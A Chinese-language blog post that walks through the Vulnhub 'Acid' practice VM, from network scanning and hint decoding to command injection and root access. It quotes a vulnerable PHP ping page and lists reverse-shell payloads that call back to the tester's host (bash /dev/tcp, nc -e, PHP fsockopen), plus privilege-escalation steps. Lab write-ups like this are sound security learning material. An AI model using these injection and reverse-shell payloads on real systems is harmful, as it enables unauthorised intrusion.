Tianji's Blog.

渗透测试-vulnhub-acid

Word count: 1,103 / Reading time: 6 min
2018/09/18 Share

备忘录,仅用来记录一些操作,具体环境可以参考红日安全

信息搜集

确定ip地址

由于采用NAT模式,靶机ip地址一定在Vmware的NAT网段下。

nmap -sP 192.168.31.0/24 [-oN filename]

or:

netdiscover

从而确定IP地址: 192.168.31.144

端口扫描

nmap -p1-65535 -sV [-oN filename] 192.168.31.144

nmap -Pn -sV -p- 192.168.31.144

扫描结果如下:

1
2
3
PORT      STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 00:0C:29:8B:C2:9F (VMware)

33447端口存在Web服务。

服务识别

仅仅发现Web服务,所以只能从Web服务入手。

端口: TCP 33447

Web服务器: Apache 2.4.10

操作系统: Ubuntu

漏洞挖掘

查看源码

发现首页最后一行存在注释 0x643239334c6d70775a773d3d,转化成字符串如下:

1
2
>>> libnum.n2s(0x643239334c6d70775a773d3d)
'd293LmpwZw=='

一看就知道是Base64。

1
2
ht@DESKTOP-GUA7PSI:/mnt/d$ echo d293LmpwZw== | base64 -d
wow.jpg

直接访问http://192.168.31.144:33447/wow.jpg,返回404。

凭经验尝试了一下http://192.168.31.144:33447/images/wow.jpg,返回一张图片。

通过strings命令查看图片,发现新的提示:

1
2
3
4
5
ht@DESKTOP-GUA7PSI:/mnt/c/Users/ht/Desktop$ strings wow.jpg | tail -n 4
/Pp$t
( ++|]
H{ l
;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34

将最后一行数字转为字符串:

1
2
>>> ''.join([chr(int('0x'+i, 16)) for i in "37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34".split(":")])
'7aee0f6d588ed9905ee37f16a7c610d4'

通过猜测,7aee0f6d588ed9905ee37f16a7c610d4应该是一串md5值。通过cmd5.com查询,得到值63425。暂时不知道是什么东西。

使用Dirbuster爆破目录

依次尝试/Challenge/cake.php/Challenge/include.php, /Challenge/index.php

其中cake.php需要登录。查看源码title标签,可以发现新的目录Magic_box

include.php则存在文件包含漏洞,可以通过输入/etc/passwd来测试。

继续爆破”/Challenge/Magic_box“目录,发现新的页面command.php, low.php

命令执行

/Challenge/Magic_box很明显存在命令执行漏洞,通过尝试输入127.0.0.1;ls, 可以发现当前目录下所有文件.

1
2
3
4
5
6
7
command.php
command.php.save
command2.php.save
command2.php.save.1
low.php
proc
tails.php

查看command.php源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once '../includes/db_connect.php';
include_once '../includes/functions.php';
?>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'IP' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
echo $cmd;
}
}

反弹shell+提权

payload1: 127.0.0.1;/bin/bash -i >& /dev/tcp/192.168.31.130/1234 0>&1 失败。

payload2: 127.0.0.1;nc -e /bin/bash -d 192.168.31130 1234 失败。

payload3: 127.0.0.1;php -r '$sock=fsockopen("192.168.31.130",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 成功。

1
2
3
4
5
6
root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.130] from (UNKNOWN) [192.168.31.144] 55051
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

提权,执行su命令,发现无法执行,需要从一个终端,才能执行su命令:

1
2
$ su
su: must be run from a terminal

解决方法,使用python调用本地shell

1
2
3
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

结果如下:

1
2
3
4
5
6
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

$ python /tmp/asdf.py
www-data@acid:/var/www/html/Challenge/Magic_Box$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

查看/etc/passwd,发现需要关注的用户有如下几个:root, saman, acid

分别查看每个用户的文件:

find / -user acid 2 >/dev/null

1
2
3
4
5
6
7
www-data@acid:/var/www/html/Challenge/Magic_Box$ find / -user acid 2>/dev/null
</Challenge/Magic_Box$ find / -user acid 2>/dev/null
/sbin/raw_vs_isi/hint.pcapng
/bin/pwn_me
/bin/pwn_me/chkrootkit.lsm
/bin/pwn_me/chkrootkit
/bin/pwn_me/README.chkwtmp

hint.pcapng拷贝到自己电脑上。

1
scp /sbin/raw_vs_isi/hint.pcapng root@192.168.31.130:/root/Desktop/

找到 saman的密码1337hax0r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@acid:/var/www/html/Challenge/Magic_Box$ su saman
su saman
Password: 1337hax0r

saman@acid:/var/www/html/Challenge/Magic_Box$ sudo -i
sudo -i
[sudo] password for saman: 1337hax0r

____ _ _ _ _
/ ___|___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
| | / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\____\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
root@acid:~#
CATALOG
  1. 1. 信息搜集
    1. 1.1. 确定ip地址
    2. 1.2. 端口扫描
    3. 1.3. 服务识别
  2. 2. 漏洞挖掘
    1. 2.1. 查看源码
    2. 2.2. 使用Dirbuster爆破目录
    3. 2.3. 命令执行
    4. 2.4. 反弹shell+提权